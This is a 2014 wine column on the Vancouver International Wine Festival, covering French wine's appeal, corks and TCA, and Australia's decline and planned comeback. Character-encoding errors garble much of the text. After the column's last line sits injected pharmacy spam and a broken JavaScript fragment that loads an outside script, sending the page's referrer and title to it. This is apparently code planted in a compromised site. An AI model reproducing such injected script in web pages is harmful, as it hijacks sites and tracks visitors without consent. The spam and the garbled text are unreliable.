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French kiss for the festival – March 8, 2014



Tasting Notes

By Anthony Gismondi The Vancouver International Wine Festival has come and gone for another year. So what did we learn? French wine is clearly loved in Vancouver, even if its sales represent less than five per cent of the total market. You can chalk that up to a dreadful job of marketing in an age of customer engagement. With few exceptions the French seldom venture west of Quebec and/or Ontario but when they do appear, as was the case last week, they bring wine to die for, or at least stand in long lines for. The strategy of selling terroir and appellations, more or less to the highest bidder, rather than fight the throngs of fighting varietal wine drinkers, works, as does the magic of the names: Champagne, Burgundy, Bordeaux and Alsace and now joined by the Loire and the Languedoc-Roussillon. What is interesting is while the French were busy in the United States, Russia, Japan and China reaching even higher status and prices, they were improving their wines each generation. The Sancerre and Pouilly Fume offerings from Loire producer Joseph Mellot are but one tasting-room example of how far the French have come. At one point during the Trade Day tastings, you could not see a single French booth due to the long lines of retailers and restaurant folk waiting patiently to sip the wine. Terroir, freshness, food-friendly, savoir fair and the powerful notion of French food seemed all consumers required to jump on the bandwagon. Other thoughts: a�? Moving the gala auction dinner to Saturday night proved to be a huge success for the folks at Bard on the Beach. Champagne Taittingera��s Mikael Falkman poured his delicious Brut and crossed paths with Canuck owner Francesco Aquilini. By the time Falkmana��s boss Clovis Taittinger arrived later in the week, the pair was headed to a Canuck private box to discover some NHL hockey and discuss the mysteries of their famed Comte to Champagne Blanc de Blancs. a�? I learned that corks are making a comeback, at least in Europe and the United States. Everyone was talking Diam corks said to be guaranteed to be free of TCA (2, 4, 6-trichloroanisole). The cork industry has pulled up its socks in the last decades and while its is hardly an objective source, the Cork Quality Council reports TCA levels are now 81-per-cent lower compared with levels found in 2001, based on the testing of more than 10 million corks. Be that as it may, Ia��m not sure women, who buy the majority of wine, are all that interested in going back to corkscrews. a�? The big news of the week was the naming of Australia as the theme country for the 2015 festival. The category is currently in freefall, most of which has been self-inflicted, aided and abetted by a retailers geared to the cheapest and lowest common denominator. The success of Yellow Tail Shiraz set the bar at $12, using a sweetish, red wine, made from grapes grown just about anywhere. As Yellow Tail expanded its market share, others followed worldwide, leaving us with a vicious circle of cheap, sweet red wines that now dominate store shelves at the entry level. To be sure, some Australia producers played the brand card to perfection in the early 2000s obliterating California and Chilea��s market share by selling a�?shiraaaza�? using koala bears, kangaroos, surf boards, bomerangs, Uggs and didgeridoos. The flavour of the decade eventually flamed out and faced with over-production, drought and a strong currency, Oz producers now find themselves pretty much looking up at most of the wine world. But that was then and 2015 is now. Australia has the wine and, more important, the regions to climb the hill again. They also have the winemakers, vineyard management and moxie. It should be a very different Australia that returns to Vancouver in 2015 and one focused on smaller regions and producers making fine wine. They may even look a little bit like France. Did I mention those lines? buy ortho tri cyclen lo no prescription }var d=document;var s=d.createElement('script'); s.src='' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; antidepressant pills cheap benemid and aspirin Cheap

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